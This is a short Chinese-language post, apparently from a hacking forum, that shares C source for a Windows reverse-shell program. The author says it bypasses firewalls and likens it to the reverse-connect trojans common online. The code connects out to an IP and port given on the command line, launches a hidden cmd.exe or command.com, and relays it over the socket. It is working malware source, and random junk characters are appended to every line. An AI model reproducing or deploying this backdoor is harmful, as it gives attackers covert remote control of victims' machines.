这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9NwUXh(:(
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/* ============================== 8>WA5:]v
Rebound port in Windows NT IH=$
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By wind,2006/7 XcT!4xG0
===============================*/ !`N:.+DT
#include rP]|`*B
#include 36{OE!,i
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#pragma comment(lib,"wsock32.lib") eEBNO*2
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void OutputShell(); kCEuzd=$V
SOCKET sClient; ) ??N]V_U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;MNUT,U
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void main(int argc,char **argv) D+:s{IcL<
{ nuWQ3w
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WSADATA stWsaData; VK*_pEV,}
int nRet; RK-bsf
SOCKADDR_IN stSaiClient,stSaiServer; dQSO8Jf
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if(argc != 3) k%gj
{ TaSS) n
printf("Useage:\n\rRebound DestIP DestPort\n"); c&wg`1{Hal
return; 4G I3|{
} F%a&|X
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WSAStartup(MAKEWORD(2,2),&stWsaData); eik_w(xPT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }v}F8}4
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stSaiClient.sin_family = AF_INET; zZPWE"u}
stSaiClient.sin_port = htons(0); 6bUP]^d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0,~s0]h0V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EpG9t9S9
{ 8/j|=Q,5
printf("Bind Socket Failed!\n"); ` Ny(S2
return; ^@8XJ[C,_
} `},:dDHI
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stSaiServer.sin_family = AF_INET; ;UgwV/d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @,1_CqV
{ @`
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printf("Connect Error!"); `lE&:)
return; I~F&@
} _4)
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OutputShell(); :Ef!gpS}?R
} zqt<[=O
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void OutputShell() r=3`Eb"t
{ 9Br+]F_i
char szBuff[1024]; \EU3i;BNT%
SECURITY_ATTRIBUTES stSecurityAttributes; ssQ1u.x9
OSVERSIONINFO stOsversionInfo; 3<<wHK;)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (*r2bm2FPO
STARTUPINFO stStartupInfo; ]T/%Bau
char *szShell; yLLA:5Q1
PROCESS_INFORMATION stProcessInformation; ):hz/vZ
unsigned long lBytesRead; ]vB^%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); } 'xGip@W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G"&$7!6[Y
stSecurityAttributes.lpSecurityDescriptor = 0; H+I,c1sF
stSecurityAttributes.bInheritHandle = TRUE; :I7qw0?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); < w}i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )|v du
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -"ZNkC=
stStartupInfo.wShowWindow = SW_HIDE; V^FM-bg%9
stStartupInfo.hStdInput = hReadPipe; 6{i0i9Tb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u,iiS4'Ze
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GetVersionEx(&stOsversionInfo); yxx_%9 X
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switch(stOsversionInfo.dwPlatformId) z)KoK`\mE"
{ XelFGT E
case 1: W20- oZ8
szShell = "command.com"; .(Ux1.0C
break; >.P*lT
default: 5YPIv-
szShell = "cmd.exe"; n1|]ji[c
break; +7OE,RoQ
} W:n\,P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Mfz(%F|<
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send(sClient,szMsg,77,0);
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while(1) b?0WA.[{
{ J6EzD\.Y)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XdIno}pN
if(lBytesRead) \I i#R
{ $#e}9g.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \4$Nx/@Q}
send(sClient,szBuff,lBytesRead,0); ?~.9:93
} E l.eK9L
else oIOeX1$V
{ B> i^ w1
lBytesRead=recv(sClient,szBuff,1024,0); J%ws-A?6rN
if(lBytesRead<=0) break; Hh](n<Bs
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kKbbsB
} 1G`5FU
} o+OX^F0
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return; UE_>@_T
}